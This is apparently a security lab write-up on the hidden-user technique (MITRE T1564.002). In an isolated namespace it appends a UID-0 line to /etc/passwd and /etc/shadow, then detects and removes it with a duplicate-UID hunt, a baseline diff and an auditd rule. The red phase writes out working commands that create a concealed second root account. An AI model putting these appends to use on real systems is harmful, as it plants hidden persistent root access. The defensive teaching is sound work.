The user list shows every human on this machine. It does not show the second root. Two lines in the user database put it there; one read of the database finds it. This file runs both.
MITRE ATT&CK T1564.002: adversaries create user accounts that hide from administrative view, keeping a way back in that survives password rotations and casual inspection. This file creates the account by writing the database directly, then finds it by reading the database directly. Two actors: the attacker, who owns the appended lines and every write in the red phase; and the defender, who owns every read, hunt, removal, and rule in the blue phases.
Why this technique. The user list is the most-read identity text on the system: login screens, graphical user managers, and the awk '$3>=1000' human-user listing every hardening guide teaches. Operators audit the list, not the database, because the list is short and the database is thirty-odd lines of system accounts nobody memorized. Two lines appended to /etc/passwd and /etc/shadow create an account that resolves as UID 0, and the list never shows it, because the list is a filtered view and the filter is a convention, not a control.
Why not just use useradd. The obvious alternative is the proper tooling: useradd -u 0 GHOSTLIGHT-NOISY-023. Break it on the concrete input -u 0: useradd refuses, useradd: UID 0 is not unique, exit code 4, and getent confirms nothing was created. The tooling has a guardrail for exactly this. The attacker answers the guardrail by skipping the tooling: two echo appends straight to the database files. useradd would also have built a home directory, a mail spool, and a log entry; the direct edit builds none of those, and there is no tool left to object.
The mechanism, in one line. /etc/passwd is the user database: each line maps a name to a UID in the third field, a GID in the fourth, a home directory in the sixth, and a shell in the seventh. getpwnam, the call behind getent, id, and su, reads the file top to bottom. UID 0 is root: the kernel checks the number, never the name, so any name mapped to 0 is root. /etc/login.defs sets UID_MIN=1000, the boundary between system accounts and human accounts, and every list-the-users habit filters on it. A UID-0 line sits below the boundary the listings respect, beside thirty system accounts nobody reads twice.
The concrete case, before the abstraction. In /tmp/ghlab, private copies of the identity files are bind-mounted over /etc/passwd, /etc/shadow, and /etc/group inside the lab's mount namespace, so the host's real user database is never written. Two appended lines. id GHOSTLIGHT-CANARY-023 prints uid=0(root) gid=0(root) groups=0(root): the name resolves, and the system calls it root. The human-user listing answers NOT in the human-user listing (UID>=1000). The duplicate-UID hunt prints two names: root, GHOSTLIGHT-CANARY-023. Same database, two views, two answers.
Terms, earned. UID is the user ID: the number the kernel actually checks; names are labels for humans. /etc/passwd is the user database both humans and programs read. /etc/shadow holds the password field the world must not read, including the lock marker. UID_MIN is the login.defs boundary (1000 here) between system and human accounts. NSS, the name service switch, is the layer getent resolves through; reading /etc/passwd directly bypasses it. A hidden user is T1564.002: an account present in the identity database but absent from administrative view.
Scope. T1564 covers hiding artifacts broadly: hidden files, hidden users, and more. This file works the hidden-user case end to end: the quiet creation, the listing that misses it, the duplicate-UID hunt, the baseline diff, the evidence-first removal, and the staged audit watch. The canary is a benign token: it marks the lab account and nothing else. The lab runs in a disposable mount and PID namespace with private copies of the identity files bind-mounted over the real paths; teardown unmounts the copies and deletes the lab, and the host's user database is never written.
Ubuntu 24.04.5 LTS, x86-64, root inside a disposable mount and PID namespace used only for this lab. The attack needs root: writing /etc/passwd is the whole technique. The detection needs only read access to /etc/passwd.
The recording starts with a private /tmp inside its own mount namespace, so every take begins identical. rm -rf /tmp/ghlab starts clean; mkdir -p and the three cp -a copies stage private identity files, and one more copy saves passwd.baseline, the before photo the blue phase diffs against. The three mount --bind commands lay the lab copies over /etc/passwd, /etc/shadow, and /etc/group: every lookup inside this namespace now reads the lab database, while the host keeps its own. grep /proc/mounts shows the three mounts (they read as tmpfs because the copies live on the namespace's private tmpfs /tmp), and wc -l counts the 22 baseline users.
$ rm -rf /tmp/ghlab; mkdir -p /tmp/ghlab cp -a /etc/passwd /etc/shadow /etc/group /tmp/ghlab/ cp -a /etc/passwd /tmp/ghlab/passwd.baseline mount --bind /tmp/ghlab/passwd /etc/passwd mount --bind /tmp/ghlab/shadow /etc/shadow mount --bind /tmp/ghlab/group /etc/group grep -E ' /etc/(passwd|shadow|group) ' /proc/mounts echo "baseline:"; wc -l < /etc/passwd tmpfs /etc/passwd tmpfs rw,relatime,uid=131072,gid=131072,inode64 0 0 tmpfs /etc/shadow tmpfs rw,relatime,uid=131072,gid=131072,inode64 0 0 tmpfs /etc/group tmpfs rw,relatime,uid=131072,gid=131072,inode64 0 0 baseline: 22
There is no binary in this file; the payload is two lines of text. The passwd line: the name GHOSTLIGHT-CANARY-023 (the benign canary, the mark of the lab); x in the password field (meaning "look in /etc/shadow"); 0 as UID and 0 as GID (this is what makes it the second root); the GECOS comment; /nonexistent as home (no home directory is ever created, so there is nothing in /home to find); /bin/bash as shell. The shadow line: the same name; ! (locked: no password login is possible); then the aging fields. On a real host these two lines are the entire attack.
GHOSTLIGHT-CANARY-023:x:0:0:GHOSTLIGHT lab canary:/nonexistent:/bin/bash GHOSTLIGHT-CANARY-023:!:20200:0:99999:7:::
The attacker skips the account tooling, writes the database directly, and proves the account both works and hides.
Private copies of the identity files, one baseline saved, three bind mounts over the real paths. /proc/mounts confirms the namespace now reads the lab database; wc -l counts 22 baseline users. The host's /etc/passwd is untouched throughout: the teardown step proves it.
$ rm -rf /tmp/ghlab; mkdir -p /tmp/ghlab cp -a /etc/passwd /etc/shadow /etc/group /tmp/ghlab/ cp -a /etc/passwd /tmp/ghlab/passwd.baseline mount --bind /tmp/ghlab/passwd /etc/passwd mount --bind /tmp/ghlab/shadow /etc/shadow mount --bind /tmp/ghlab/group /etc/group grep -E ' /etc/(passwd|shadow|group) ' /proc/mounts echo "baseline:"; wc -l < /etc/passwd tmpfs /etc/passwd tmpfs rw,relatime,uid=131072,gid=131072,inode64 0 0 tmpfs /etc/shadow tmpfs rw,relatime,uid=131072,gid=131072,inode64 0 0 tmpfs /etc/group tmpfs rw,relatime,uid=131072,gid=131072,inode64 0 0 baseline: 22
useradd -u 0 GHOSTLIGHT-NOISY-023 hits the guardrail: useradd: UID 0 is not unique, exit code 4. getent confirms nothing was created. The proper tooling refuses to make a second root, which is exactly why the attacker does not use the proper tooling.
$ useradd -u 0 GHOSTLIGHT-NOISY-023; echo "useradd rc=$?" getent passwd GHOSTLIGHT-NOISY-023 || echo 'not created: useradd refused the duplicate UID' useradd: UID 0 is not unique useradd rc=4 not created: useradd refused the duplicate UID
Two echo appends, one per database file, and getent resolves the account instantly: the line shown is the account, live in the database. The footprint is the whole point: useradd would have built a home directory, a mail spool, and a log entry; the direct edit built none of those. The ls fallback proves the first. The /var/log sweep finds no creation record from the account tooling (the journal does record the su session from the next step's functional proof; su always logs via PAM, and that is the noisiest thing the attacker does in this file, after the account already exists).
$ echo 'GHOSTLIGHT-CANARY-023:x:0:0:GHOSTLIGHT lab canary:/nonexistent:/bin/bash' >> /etc/passwd echo 'GHOSTLIGHT-CANARY-023:!:20200:0:99999:7:::' >> /etc/shadow getent passwd GHOSTLIGHT-CANARY-023 grep -ri 'GHOSTLIGHT-CANARY-023' /var/log/ 2>/dev/null || echo 'no trace in /var/log: the database changed with no audit trail' ls -d /home/GHOSTLIGHT-CANARY-023 2>/dev/null || echo 'no home directory created' GHOSTLIGHT-CANARY-023:x:0:0:GHOSTLIGHT lab canary:/nonexistent:/bin/bash no home directory created
id GHOSTLIGHT-CANARY-023 prints uid=0(root) gid=0(root) groups=0(root): the name resolves to UID 0, and the system reports the canonical name, root. su -s /bin/bash switches to the account and the shell reports UID 0. The kernel checked the number, never the name.
$ id GHOSTLIGHT-CANARY-023 su -s /bin/bash GHOSTLIGHT-CANARY-023 -c 'id -u' uid=0(root) gid=0(root) groups=0(root) 0
The human-user listing, the awk '$3>=1000' filter every hardening guide teaches: NOT in the human-user listing. ls /home shows only the existing user. The account is fully functional and administratively invisible, which is the entire technique.
$ awk -F: '($3>=1000)&&($3<60000){print $1}' /etc/passwd | grep -i 'ghostlight' || echo 'NOT in the human-user listing (UID>=1000)'
ls /home
echo 'stealth confirmed: uid 0 resolves, the human-user listing shows nothing'
NOT in the human-user listing (UID>=1000)
hatch
stealth confirmed: uid 0 resolves, the human-user listing shows nothing
Two appended lines created a second UID 0 that resolves as root and answers to su. The human-user listing the admin checks shows nothing, because the listing filters on the UID_MIN convention and the account sits below it, beside thirty system accounts nobody reads twice. The database was written with no tooling, no home directory, and no creation log entry.
The defender stops trusting the filtered view and starts reading the database: the naive listing, the duplicate-UID hunt, the baseline diff, the cross-checks. Then the entry is removed with evidence first, and the watch goes on the identity files.
Here is the trap: running the human-user listing, seeing it clean, and moving on. That is trusting the testimony of the filter. The check that works never asks the listing who exists; it reads the database the listing was filtered from.
The defender starts where the admin starts: the human-user listing counts 0 canary matches, human-user listing: clean, and ls /home shows only the existing user. Nothing about this view looks wrong, because nothing about the filter is wrong: it is doing its job, listing humans. Stopping here is the attacker's win.
$ awk -F: '($3>=1000)&&($3<60000){print $1}' /etc/passwd | grep -ci 'ghostlight' || echo 'human-user listing: clean'
ls /home
echo '--- the listing the admin checks shows nothing ---'
0
human-user listing: clean
hatch
--- the listing the admin checks shows nothing ---
Read the database, not the list. awk -F: '$3==0{print $1}' prints every name mapped to UID 0: root, GHOSTLIGHT-CANARY-023. Two names, one UID: the LEAD. Then the baseline diff: diff passwd.baseline /etc/passwd prints 22a23 > GHOSTLIGHT-CANARY-023:x:0:0:..., the added line, verbatim. (diff exits 1 here; that nonzero exit IS the finding: the files differ.) Two independent reads, one finding, and the tell is concrete: good is one name on UID 0; bad is two.
$ awk -F: '$3==0{print $1}' /etc/passwd
echo '--- LEAD: two names share UID 0 ---'
diff /tmp/ghlab/passwd.baseline /etc/passwd
root
GHOSTLIGHT-CANARY-023
--- LEAD: two names share UID 0 ---
22a23
> GHOSTLIGHT-CANARY-023:x:0:0:GHOSTLIGHT lab canary:/nonexistent:/bin/bash
getent shadow shows the account exists in the shadow database too, with the password field locked (!): no password login is possible, which is exactly how the attacker keeps it quiet. lastlog -u looks the account up by UID, so the alias collapses to the canonical name and the record appears under root, **Never logged in**: even the login record hides inside root's own entry. The cross-checks confirm the account is real, locked, and login-quiet.
$ getent shadow GHOSTLIGHT-CANARY-023 lastlog -u GHOSTLIGHT-CANARY-023 GHOSTLIGHT-CANARY-023:!:20200:0:99999:7::: Username Port From Latest root **Never logged in**
mkdir -p evidence; cp -a preserves both database files and sha256sum | tee evidence/hash.txt anchors their hashes. All of it BEFORE the removal, because a deleted entry takes its evidence with it. getent shadow verifies the locked state going in. The pre-removal copies are the rollback plan; the grep -v pair rewrites the database without the canary lines (on a real host this is vipw / sed -i on /etc/passwd and /etc/shadow directly; in this lab the isolation bind-mounts the files, so the removal edits the underlying copies the mounts point at). Verify: getent finds nothing, account removed from the user database, and the duplicate-UID hunt prints only root. D3FEND calls the hash anchor D3-FH: File Hashing.
$ mkdir -p evidence
cp -a /etc/passwd /etc/shadow evidence/
sha256sum evidence/passwd evidence/shadow | tee evidence/hash.txt
getent shadow GHOSTLIGHT-CANARY-023
cp -a /tmp/ghlab/passwd /tmp/ghlab/passwd.pre-removal
cp -a /tmp/ghlab/shadow /tmp/ghlab/shadow.pre-removal
grep -v 'GHOSTLIGHT-CANARY-023' /tmp/ghlab/passwd.pre-removal > /tmp/ghlab/passwd.tmp && cat /tmp/ghlab/passwd.tmp > /tmp/ghlab/passwd
grep -v 'GHOSTLIGHT-CANARY-023' /tmp/ghlab/shadow.pre-removal > /tmp/ghlab/shadow.tmp && cat /tmp/ghlab/shadow.tmp > /tmp/ghlab/shadow
rm /tmp/ghlab/passwd.tmp /tmp/ghlab/shadow.tmp
getent passwd GHOSTLIGHT-CANARY-023 || echo 'account removed from the user database'
awk -F: '$3==0{print $1}' /etc/passwd
e085f1076502fabcdf0c023dcd94a0d8f5de08e7c860e4e720d725fba2770428 evidence/passwd
fa57f275489535d2bf4a6c35380ad3654d1ea2037a518a543bb92170ad062532 evidence/shadow
GHOSTLIGHT-CANARY-023:!:20200:0:99999:7:::
account removed from the user database
root
The heredoc stages ghostlight-023.rules: a write-and-attribute watch (-p wa) on /etc/passwd and /etc/shadow, tagged gh023-identity. cat shows the staged rule; command -v auditctl confirms the tooling is installed; pgrep confirms auditd not running in this lab: rule staged, not loaded, stated with its dependency, not demonstrated. Where auditd runs, every direct edit of the user database fires an event with the process that did it. The durable control is this watch plus the scheduled duplicate-UID audit: identity anchored to the database, (D3-FIM: File Integrity Monitoring), never to the listing.
$ mkdir -p /tmp/ghlab/staged cat > /tmp/ghlab/staged/ghostlight-023.rules <<'EOF' # GH-023: watch the user database files (needs auditd running) -w /etc/passwd -p wa -k gh023-identity -w /etc/shadow -p wa -k gh023-identity EOF cat /tmp/ghlab/staged/ghostlight-023.rules command -v auditctl pgrep -a auditd || echo 'auditd not running in this lab: rule staged, not loaded' # GH-023: watch the user database files (needs auditd running) -w /etc/passwd -p wa -k gh023-identity -w /etc/shadow -p wa -k gh023-identity /usr/sbin/auditctl auditd not running in this lab: rule staged, not loaded
The summary, in the defender's own words: the file is the record, the listing is the testimony. Teardown: umount the three bind mounts, rm -rf /tmp/ghlab deletes the lab, getent confirms host user database untouched: no such user, and ls /tmp shows the empty private tmp.
$ echo 'detection verified: the file is the record, the listing is the testimony' umount /etc/passwd /etc/shadow /etc/group rm -rf /tmp/ghlab getent passwd GHOSTLIGHT-CANARY-023 || echo 'host user database untouched: no such user' ls /tmp detection verified: the file is the record, the listing is the testimony host user database untouched: no such user
The naive listing was clean; the duplicate-UID-0 hunt named the one lead where two names share UID 0; the baseline diff printed the added line verbatim; the cross-checks confirmed a real, locked, login-quiet account; the entry's database copies and hashes were captured before removal; the audit watch is staged with its dependency stated. The listing never got a second hearing.
Three moves, in order: remove with evidence first, hunt the database on a schedule, watch the identity files. Each is one way, not the way.
Proven first against the live entry: both database files and their hashes are captured into evidence/ BEFORE the removal, because a deleted entry takes its evidence with it. The locked shadow state is verified going in; the pre-removal copies are the rollback plan; the grep -v pair rewrites the database without the canary lines. The re-sweep (getent finds nothing; the duplicate-UID hunt prints only root) confirms the database is clean. A real response then hunts the delivery vector: how the lines got written is the incident's open question, and the audit watch from Phase Blue is the sibling sweep.
$ mkdir -p evidence
cp -a /etc/passwd /etc/shadow evidence/
sha256sum evidence/passwd evidence/shadow | tee evidence/hash.txt
getent shadow GHOSTLIGHT-CANARY-023
cp -a /tmp/ghlab/passwd /tmp/ghlab/passwd.pre-removal
cp -a /tmp/ghlab/shadow /tmp/ghlab/shadow.pre-removal
grep -v 'GHOSTLIGHT-CANARY-023' /tmp/ghlab/passwd.pre-removal > /tmp/ghlab/passwd.tmp && cat /tmp/ghlab/passwd.tmp > /tmp/ghlab/passwd
grep -v 'GHOSTLIGHT-CANARY-023' /tmp/ghlab/shadow.pre-removal > /tmp/ghlab/shadow.tmp && cat /tmp/ghlab/shadow.tmp > /tmp/ghlab/shadow
rm /tmp/ghlab/passwd.tmp /tmp/ghlab/shadow.tmp
getent passwd GHOSTLIGHT-CANARY-023 || echo 'account removed from the user database'
awk -F: '$3==0{print $1}' /etc/passwd
e085f1076502fabcdf0c023dcd94a0d8f5de08e7c860e4e720d725fba2770428 evidence/passwd
fa57f275489535d2bf4a6c35380ad3654d1ea2037a518a543bb92170ad062532 evidence/shadow
GHOSTLIGHT-CANARY-023:!:20200:0:99999:7:::
account removed from the user database
root
Honest limit. With a duplicate UID 0 you cannot kill "the account's processes" without killing root's: every process lookup by that UID matches root too, so process-targeted containment is blind here; containment is the entry removal plus a review of how the lines were written. Removing the entry orphans nothing in this lab (the account never owned a file), but on a real host sweep find / -xdev -nouser after removal; with UID 0 that sweep is blind as well, since orphaned files still map to the name root, which is why the pre-removal evidence copies matter more than the post-removal sweep. The lab deletes evidence/ at teardown for cleanliness; a real incident preserves it for forensics instead.
The scheduled form of the phase-blue reads: the duplicate-UID hunt (awk -F: '$3==0') plus the baseline diff of /etc/passwd and /etc/shadow, run on a timer across the fleet. The tell is concrete: good is one name on UID 0; bad is two. Production versions add alerting, not new ideas.
$ awk -F: '$3==0{print $1}' /etc/passwd
echo '--- LEAD: two names share UID 0 ---'
diff /tmp/ghlab/passwd.baseline /etc/passwd
root
GHOSTLIGHT-CANARY-023
--- LEAD: two names share UID 0 ---
22a23
> GHOSTLIGHT-CANARY-023:x:0:0:GHOSTLIGHT lab canary:/nonexistent:/bin/bash
Honest limit. The duplicate-UID hunt is the CIS check, and it catches exactly the second-root case; it misses a hidden user with a unique UID in the system range, which is why it ships paired with the baseline diff. The diff needs a trustworthy baseline: a baseline taken after the compromise just blesses the attacker's lines. And the poll interval sets the floor: an account created and removed between sweeps leaves no database trace behind, only the audit log, if auditd was watching.
The staged rule (ghostlight-023.rules) is the telemetry half: a write-and-attribute watch on /etc/passwd and /etc/shadow, tagged gh023-identity, firing on every direct edit with the process that did it. The policy half is identity anchored to the database: the scheduled duplicate-UID audit and the baseline diff (D3-FIM), so no listing is ever trusted on its own. Only the database decides who exists; the listing is never consulted.
$ mkdir -p /tmp/ghlab/staged cat > /tmp/ghlab/staged/ghostlight-023.rules <<'EOF' # GH-023: watch the user database files (needs auditd running) -w /etc/passwd -p wa -k gh023-identity -w /etc/shadow -p wa -k gh023-identity EOF cat /tmp/ghlab/staged/ghostlight-023.rules command -v auditctl pgrep -a auditd || echo 'auditd not running in this lab: rule staged, not loaded' # GH-023: watch the user database files (needs auditd running) -w /etc/passwd -p wa -k gh023-identity -w /etc/shadow -p wa -k gh023-identity /usr/sbin/auditctl auditd not running in this lab: rule staged, not loaded
Honest limit. The rule needs auditd running with rules loaded; this lab has the binary but no daemon, and many containers lack the subsystem entirely. The watch detects the write; it does not prevent it: no control makes /etc/passwd uneditable by root, because root owns the user database by design. This control raises the cost of the quiet path (every direct edit fires an event naming the writer); it does not remove the path. An attacker who edits the files between the baseline snapshot and the next diff still wins the interval, which is why the watch and the diff ship as a pair.
The entry's database copies and hashes were captured before removal; the scheduled hunt names its tell, its blind spot, and its baseline dependency; the audit watch is staged with its dependency stated. Every control names its bypass: process-targeted containment is blind on a duplicate UID 0, the poll interval sets the floor, and no control makes the database uneditable by root.
The user list is a filtered view; /etc/passwd is the database. A hidden user is found by reading the database, never by reading the list.
IOC checklist: signs this technique was used
Reproducibility checklist
Sources
MITRE ATT&CK T1564.002: Hide Artifacts: Hidden Users
MITRE ATT&CK T1564: Hide Artifacts (the parent technique)
passwd(5) (the user database line format)
shadow(5) (the locked password field)
useradd(8) (the guardrail the attack bypasses)
login.defs(5) (UID_MIN, the boundary the listings filter on)
D3FEND D3-FH: File Hashing
D3FEND D3-FIM: File Integrity Monitoring
The next file hides in a single trailing space.